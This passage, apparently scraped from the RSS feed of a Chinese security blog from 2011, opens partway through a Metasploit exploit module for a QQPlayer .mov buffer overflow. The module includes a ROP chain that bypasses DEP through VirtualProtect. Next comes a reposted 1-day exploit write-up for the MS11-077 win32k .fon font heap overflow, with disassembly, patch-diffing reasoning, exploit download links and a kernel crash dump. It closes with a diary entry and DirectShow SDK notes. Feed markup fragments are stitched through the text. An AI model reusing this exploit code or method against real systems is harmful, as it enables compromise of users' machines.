    ],
    'Privileged' => false,
    'DisclosureDate' => '11 21 2011',
    'DefaultTarget' => 0))

    register_options(
    [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
    ], self.class)
    end
    def exploit
    # !mona rop
    rop_gadgets =
    [

    0x00418007, # POP ECX # RETN (QQPlayer.exe)
    0x12345678,
    0x67664CE4,
    0x01020304,
    0x10203040,
    0x22331122,
    0x23456789,

    0x00418007, # POP ECX # RETN (QQPlayer.exe)
    0x00a9c18c, # <- *&VirtualProtect()
    0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
    #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
    0x008cf099, # XCHG EAX,ESI # RETN

    0x6497aaad, # POP EBP # RETN (avformat-52.dll)
    0x100272bf, # ptr to 'call esp' (from i18nu.dll)
    0x005fc00b, # POP EBX # RETN (QQPlayer.exe)
    0x00000331, # <- change size to mark as executable if needed (-> ebx)
    0x00418007, # POP ECX # RETN (QQPlayer.exe)
    0x63d18000, # RW pointer (lpOldProtect) (-> ecx)
    0x63d05001, # POP EDI # RETN (avutil-49.dll)
    0x63d05002, # ROP NOP (-> edi)
    0x008bf00b, # POP EDX # RETN (QQPlayer.exe)
    0x00000040, # newProtect (0x40) (-> edx)
    0x00468800, # POP EAX # RETN (QQPlayer.exe)
    0x90909090, # NOPS (-> eax)
    0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)
    # rop chain generated by mona.py
    # note : this chain may not work out of the box
    # you may have to change order or fix some gadgets,
    # but it should give you a head start
    ].pack("V*")

    stackpivot = [target.ret].pack('L')

    buffer =rand_text_alpha_upper(90)#2
    buffer << rop_gadgets
    buffer << payload.encoded

    junk = rand_text_alpha_upper(2306 - buffer.length)

    buffer << junk
    buffer << stackpivot
    buffer << rand_text_alpha_upper(3000)#3000

    path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
    fd = File.open(path, "rb" )
    sploit = fd.read(fd.stat.size)
    fd.close

    sploit << buffer

    file_create(sploit)
    end
    end

    Related posts:

    1. simple version of 2012-0158
    2. feiq2008.2.5.0.0
    3. 记事

    ]]>     http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/feed/ 0     darungrim http://cq-cser.cn/2011/10/darungrim/ http://cq-cser.cn/2011/10/darungrim/#comments Sat, 15 Oct 2011 03:51:52 +0000 cq http://cq-cser.cn/?p=1502
  • WAR3格式
    • ]]>     DarunGrim is a binary diffing tool. DarunGrim is a free diffing tool which provides binary diffing functionality.
    Binary diffing is a powerful technique to reverse-engineer patches released by software vendors like Microsoft. Especially by analyzing security patches you can dig into the details of the vulnerabilities it’s fixing. You can use that information to learn what causes software break. Also that information can help you write some protection codes for those specific vulnerabilities. It’s also used to write 1-day exploits by malware writers or security researchers.

    http://www.darungrim.org/

    另转贴几篇文，墙什么的真DT。
    原文在这里：http://exploitshop.wordpress.com/2011/10/12/ms11-077-vulnerabilities-in-windows-kernel-mode-drivers-could-allow-remote-code-execution-2567053/
    MS11-077: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2567053)
    Posted: 2011/10/12 | Author: lifeasageek | Filed under: Uncategorized |Leave a comment »
    Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz
    Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz

    Related CVEs
    Font Library File Buffer Overrun Vulnerability – CVE-2011-2003

    Diffing Binary Information
    win32k.sys win32k.dll: 6.1.7601.21744 (win7sp1_ldr.110610-1504) VS 6.1.7601.21811 (win7sp1_ldr.110905-1505) (on Windows 7, 32bit)

    Descriptions
    This posting is no technical analysis, but it is driven by hardcore & intuition based analysis to make 1-day exploit.

    MS11-077 was confusing at the first time. Because it involves 4 different vulnerabilities, we should try to match up these vulnerabilities whenever we reverse engineer the function. This time I will not show the DarunGrim diffing results cause it showed around 50 different functions! Don’t get frustrated though. It’s not going to take that long time to take a look all of them. Within 10 secs for each of the function, you might be able to decide whether the function is interesting or not.

    Before getting to the details, you may also look into these. Three functions seem to be related to the null dereference bugs (_NtUserfnINLBOXSTRING(), _NtUserfnSENTDDEMSG(), _InterQueueMsgCleanup()). The function, _ConvertToAndFromWideChar(), seem to be related to “Win32k Use After Free Vulnerability – CVE-2011-2011″. You must be able to understand what I am meaning by here as soon as you open up these functions with DarunGrim.

    What I want to focus in this post is .FON buffer overrun bug (CVE-2011-2003). From DarunGrim diffing result, _BmfdOpenFontContext() showed the different point below.

    What ??? Patched version only adds immediate value ’5′ to some value (add eax, 5), and that computed value is related to decide the size of allocation. Seems interesting but strange. It is time to see the details to understand the contexts. Here goes the disassembly around the changed BB of the old win32k.sys.

    .text:90857F82 loc_90857F82: ; CODE XREF: BmfdOpenFontContext(x)+E2j
    .text:90857F82 mov eax, [ebp+numElement]
    .text:90857F85 add eax, 7
    .text:90857F88 shr eax, 3
    .text:90857F8B mov [ebp+var_4], ecx
    .text:90857F8E cmp eax, 100h
    .text:90857F93 jbe short loc_90857FA1
    .text:90857F95 add eax, 28h
    .text:90857F98 mov [ebp+var_4], 3
    .text:90857F9F jmp short loc_90857FA4
    .text:90857FA1
    .text:90857FA1 loc_90857FA1: ; CODE XREF: BmfdOpenFontContext(x)+E7j
    .text:90857FA1 ; BmfdOpenFontContext(x)+FAj
    .text:90857FA1 mov eax, [ebp+preDefinedSize]
    .text:90857FA4
    .text:90857FA4 loc_90857FA4: ; CODE XREF: BmfdOpenFontContext(x)+106j
    .text:90857FA4 push 64666D42h ; Tag
    .text:90857FA9 push eax ; int
    .text:90857FAA push 0 ; char
    .text:90857FAC call _EngAllocMem@12 ; EngAllocMem(x,x,x)

    This is the pseudo-code of these assembly. The variable naming was done at my convenience.

    uint preDefinedSize = 0×28; // mov dword ptr [ebp-14h], 28h
    sizeToAllocate = (numElement + 7) / 8;

    if( sizeToAllocate <= 0×100)
    sizeToAllocate = preDefinedSize;
    else
    sizeToAllocate += 0×28;

    EngAllocMem(0, sizeToAllocate, 0x64666d42);

    All right. In the patched version, the sizeToAllocate variable would be computed as “((numElement + 7) / 8 ) + 5″. After spending some time, we suspected some range of the values, which should have taken ‘else’ branch, mistakenly took ‘then’ branch. Because it took ‘then’ branch, the allocated size was too small and this small size of allocation would lead to buffer overrun later (We understand this interpretation is far from scientific or logical reverse engineering, but you should know that this sloppy logic is enough to write an 1-day exploit.)

    More specifically, we suspected the numElement values, satisfying 0xaa <= (numElement +7) /8 <= 0×100, would cause trouble (though we don’t know why and how !). We got this false fail idea in the patched binary from D. Brumeley et al.’s paper, “Automatic Patch-Based Exploit Generation is Possible: Techniques and Implications” (http://www.cs.berkeley.edu/~dawnsong/papers/apeg.pdf).

    Things are getting clear. Our goal should be to find the input which satisfies the above statement. From the MS technet description, “improper handling of a specially crafted .fon font file”, and the function name _BmfdOpenFontContext(), which implies bitmap font driver something, we decided to manipulate .fon file. To play with .fon files, we implemented very simple ‘.fon’ file format recognizing fuzzer like tool. Using this tool, we figured ‘width’ field is related (see our *fuzzer* for details) to control numElement variable, and it leads to ‘heap overflow’ when the variable satisfies the vulnerable condition. What’s the interesting is that you only need to visit the directly containing .fon file to trigger bitmap font driver routines

    I am attaching the .fon font file generated by our python codes (upon mkwinfont by Simon Tatham) and windbg crash dumps. We are not sure this bug can actually be used to execute the arbitrary codes, but we’d like to leave this question to you guys.

    Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz
    Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz

    Breakpoint 1 hit
    win32k!BmfdOpenFontContext+0xec:
    90857f85 83c007 add eax,7
    kd> r
    eax=00000730 ebx=fe9aacf0 ecx=00000001 edx=00000001 esi=00000028 edi=fe7fc1f8
    eip=90857f85 esp=8a2af8d0 ebp=8a2af904 iopl=0 nv up ei pl nz na pe nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
    win32k!BmfdOpenFontContext+0xec:
    90857f85 83c007 add eax,7
    kd> r eax
    eax=00000730
    kd> p
    win32k!BmfdOpenFontContext+0xef:
    90857f88 c1e803 shr eax,3
    kd> p
    win32k!BmfdOpenFontContext+0xf2:
    90857f8b 894dfc mov dword ptr [ebp-4],ecx
    kd> r eax
    eax=000000e6
    kd> g

    *** Fatal System Error: 0×00000019
    (0×00000020,0xFE1ED440,0xFE1ED5A0,0x4A2C000C)

    Break instruction exception – code 80000003 (first chance)

    A fatal system error has occurred.
    Debugger entered on first try; Bugcheck callbacks have not been invoked.

    A fatal system error has occurred.

    Connected to Windows 7 7600 x86 compatible target at (Wed Oct 12 18:38:42.012 2011 (UTC – 4:00)), ptr64 FALSE
    Loading Kernel Symbols
    ………………………………………………………
    ……………………………………………………….
    …………………..
    Loading User Symbols
    …………….
    Loading unloaded module list
    …..
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    Use !analyze -v to get detailed debugging information.

    BugCheck 19, {20, fe1ed440, fe1ed5a0, 4a2c000c}

    Probably caused by : win32k.sys ( win32k!EngFreeMem+1f )

    Followup: MachineOwner
    ———

    nt!RtlpBreakWithStatusInstruction:
    828be394 cc int 3
    kd> !analyze -v
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    BAD_POOL_HEADER (19)
    The pool is already corrupt at the time of the current request.
    This may or may not be due to the caller.
    The internal pool links must be walked to figure out a possible cause of
    the problem, and then special pool applied to the suspect tags or the driver
    verifier to a suspect driver.
    Arguments:
    Arg1: 00000020, a pool block header size is corrupt.
    Arg2: fe1ed440, The pool entry we were looking for within the page.
    Arg3: fe1ed5a0, The next pool entry.
    Arg4: 4a2c000c, (reserved)

    Debugging Details:
    ——————

    BUGCHECK_STR: 0x19_20

    POOL_ADDRESS: fe1ed440 Paged session pool

    DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

    PROCESS_NAME: csrss.exe

    CURRENT_IRQL: 2

    LAST_CONTROL_TRANSFER: from 8292fe71 to 828be394

    STACK_TEXT:
    8a2af3b4 8292fe71 00000003 dda0d4a7 00000065 nt!RtlpBreakWithStatusInstruction
    8a2af404 8293096d 00000003 fe1ed440 000001ff nt!KiBugCheckDebugBreak+0x1c
    8a2af7c8 829721b6 00000019 00000020 fe1ed440 nt!KeBugCheck2+0x68b
    8a2af844 9088c189 fe1ed448 00000000 fe7fc1d8 nt!ExFreePoolWithTag+0x1b1
    8a2af858 90950204 fe1ed458 90959cdf fe40f480 win32k!EngFreeMem+0x1f
    8a2af86c 90959cf5 fe1ed458 8a2af8d8 8a2af8b4 win32k!BmfdCloseFontContext+0×41
    8a2af87c 90965501 fe40f480 00000000 8a2af930 win32k!BmfdDestroyFont+0×16
    8a2af8b4 90965554 fe40f480 00000000 8a2afc70 win32k!PDEVOBJ::DestroyFont+0×67
    8a2af8e4 908d0d1e 00000000 8a2af910 00000001 win32k!RFONTOBJ::vDeleteRFONT+0×33
    8a2af928 908d2d15 fe40f480 050a071e 8a2afc70 win32k!RFONTOBJ::bMakeInactiveHelper+0x25a
    8a2af984 908fba77 00000000 8a2afc70 00000000 win32k!RFONTOBJ::vMakeInactive+0×72
    8a2afa04 908fbd74 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::bInit+0xe3
    8a2afa1c 908a4b2b 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::vInit+0×16
    8a2afcb8 908a4a2f 69010742 00000340 00000040 win32k!GreGetCharABCWidthsW+0×86
    8a2afd14 8289642a 69010742 00000340 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
    8a2afd14 76f864f4 69010742 00000340 00000040 nt!KiFastCallEntry+0x12a
    0435e9ac 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet

    STACK_COMMAND: kb

    FOLLOWUP_IP:
    win32k!EngFreeMem+1f
    9088c189 5e pop esi

    SYMBOL_STACK_INDEX: 4

    SYMBOL_NAME: win32k!EngFreeMem+1f

    FOLLOWUP_NAME: MachineOwner

    MODULE_NAME: win32k

    IMAGE_NAME: win32k.sys

    DEBUG_FLR_IMAGE_TIMESTAMP: 4a5bc2a2

    FAILURE_BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f

    BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f

    Followup: MachineOwner

    Related posts:

    1. WAR3格式

    ]]>     http://cq-cser.cn/2011/10/darungrim/feed/ 0     随便++1 http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/ http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/#comments Tue, 26 Jul 2011 12:30:35 +0000 cq http://cq-cser.cn/?p=1468 8B50 04 mov edx, dword ptr [eax+4] ;eax==0×148 最近本地xampp坏了，不理解，启动直接50%+，搞得paimei也不能适用。 下了半天FREEBSD，结果还是不带gui的，当时怎么就选错了呢,solaris也是，还是改天买盘子吧， 最近好不顺，金山那个POC也不能顺利运行，明知道我懒得改，讨厌架环境，呵，事实告诉我们，懒惰是最大的敌人。 其实还有有个选择的，不过用3个月来做个选择，是否，来得及呢 No related posts. No related posts.]]>
    最近发现不少新兴趣点，什么WARGAME,CTF,各类CON,都很好玩啊，快到8月论文高发期了，表示激动啊，然某人秀pp晒男友，此处省去N字，此处再略去N字。
    表示WINDBG好慢，
    $+10B4D2 > 8B50 04 mov edx, dword ptr [eax+4] ;eax==0×148
    最近本地xampp坏了，不理解，启动直接50%+，搞得paimei也不能适用。
    下了半天FREEBSD，结果还是不带gui的，当时怎么就选错了呢,solaris也是，还是改天买盘子吧，
    最近好不顺，金山那个POC也不能顺利运行，明知道我懒得改，讨厌架环境，呵，事实告诉我们，懒惰是最大的敌人。
    其实还有有个选择的，不过用3个月来做个选择，是否，来得及呢

    No related posts.

    ]]>     http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/feed/ 0     VS2010下DirectShow环境 http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/ http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/#comments Fri, 04 Feb 2011 12:00:52 +0000 cq http://cq-cser.cn/?p=1437
  • 微软一站式示例代码库 4 月小结
  • jGrowl
  • Windows API Code Pack for Microsoft .NET Framework
    • ]]>     主要参见http://msdn.microsoft.com/en-us/library/dd375468(v=VS.85).aspx

    如他所说。更新SDK，最新的DIRECTSHOW  SDK包含在WINDOWS SDK里面了。而非以往的DIRECTX 的SDK里面，或者是什么DirectX EXTRA SDK里面。

    之前缺少strmbase.lib或是streams.h也是因为如此。strmbase.lib来自SAMPLE的第一个项目，编译下后面的添加引用就OK了。 

    里面几个水印的例子很犀利啊！

    They are located under the path [SDK Root] \Samples\Multimedia\DirectShow.

    If there is additional documentation for a sample, the first column of this table links to it.

    Sample Area Description Additional Dependencies
    DirectShow Base Classes Base class library C++ classes and utility functions designed for implementing DirectShow filters.  
    AmCap Sample Capture Video capture application. strmbase.lib
    DVApp Sample Capture Digital Video (DV) capture application.  
    PlayCap Sample Capture Simple capture application.  
    DMO Demo Sample DMO Streams audio data from a WAV file through an audio effect DMO. DirectX SDK
    DVD Sample DVD Demonstrates basic DVD playback and navigation, plus advanced features such as parental level management, bookmarks, karaoke, and command synchronization.  
    InfTee Filter Sample Filters, miscellaneous Sample implementation of the Infinite Pin Tee filter. strmbase.lib
    Metronome Filter Sample Filters, miscellaneous Shows how to implement a reference clock. strmbase.lib
    PSI Parser Filter Sample Filters, miscellaneous Receives Program Specific Information (PSI) tables from an MPEG-2 transport stream and extracts program information. strmbase.lib
    Dump Filter Sample Filters, renderer Writes media samples receives to a text file. strmbase.lib
    SampVid Filter Filters, renderer Video renderer filter. strmbase.lib
    Scope Filter Sample Filters, renderer Displays sound data as wave forms. strmbase.lib
    Async Filter Sample Filters, source File reader filter that supports progressive download. strmbase.lib
    Ball Filter Sample Filters, source Video source filter that produces an image of a bouncing ball. strmbase.lib
    Push Source Filters Sample Filters, source Source filters that provide the following data as a video stream: A single bitmap, a set of bitmaps, a copy of the current desktop image. strmbase.lib
    Synth Filter Sample Filters, source Source filter that generates audio waveforms. This sample demonstrates dynamic graph building. strmbase.lib
    EZRGB24 Filter Sample Filters, transform Image processing filter. strmbase.lib
    Gargle Filter Sample Filters, transform Audio effect filter. strmbase.lib
    WavDest Filter Sample Filters, transform Writes an audio stream to a WAV file. strmbase.lib
    DMOEnum Sample Miscellaneous Shows how to enumerate DirectX® Media Objects (DMOs).  
    Mapper Sample Miscellaneous Shows how to use the Filter Mapper to find filters in the registry.  
    SysEnum Sample Miscellaneous Demonstrates using the System Device Enumerator to enumerate devices and filters.  
    CutScene Sample Playback Plays a video file in full-screen mode.  
    DDrawXCL Sample Playback Plays video in DirectDraw exclusive full-screen mode, using the IDDrawExclModeVideo interface on the Overlay Mixer filter.  
    DShowPlayer Sample Playback Video playback application.  
    EVRPlayer Sample Playback Demonstrates how to use the DirectShow EVR filter.Requires Windows Vista or later.This sample is available in the Windows SDK for Windows Server 2008 or later. strmbase.lib
    Texture3D9 Sample Playback Draws video on a Microsoft DirectX 9.0 texture surface. strmbase.lib, DirectX SDK
    Ticker Sample VMR-9 Uses the VMR-9 to blend video and text.  
    VMR9Allocator Sample VMR-9 Implements a custom allocator-presenter for the VMR-9. strmbase.lib
    VMR9Compositor Sample VMR-9 Implements a custom mixer for the VMR-9.  
    VMRPlayer Sample VMR-9 Uses the VMR-9 to blend one or two running videos and a static image.  
    Watermark Sample VMR-9 Blends a static bitmap onto a video during playback, using the VMR-9.  
    Windowless Sample VMR-9 Demonstrates windowless mode in the VMR-9.  

    Additional Dependencies

    Some of the samples link to the DirectShow base class library. To build these samples, you must first build the base class library. For more information, see DirectShow Base Classes. The base class library is required for all of the sample filters.

    A few of the samples also require the DirectX SDK, in addition to the Windows SDK. To build these samples, you must install the DirectX SDK and set the %DXSDK_DIR% environment variable equal to your DirectX SDK installation path.

    Many of the DirectShow samples use a set of common headers and source files located in the directrory [SDK Root]\Samples\Multimedia\DirectShow\Common. If you copy a sample folder to another directory, make sure to copy the Common folder as well.

    Related posts:

    1. 微软一站式示例代码库 4 月小结
    2. jGrowl
    3. Windows API Code Pack for Microsoft .NET Framework

    ]]>     http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/feed/ 1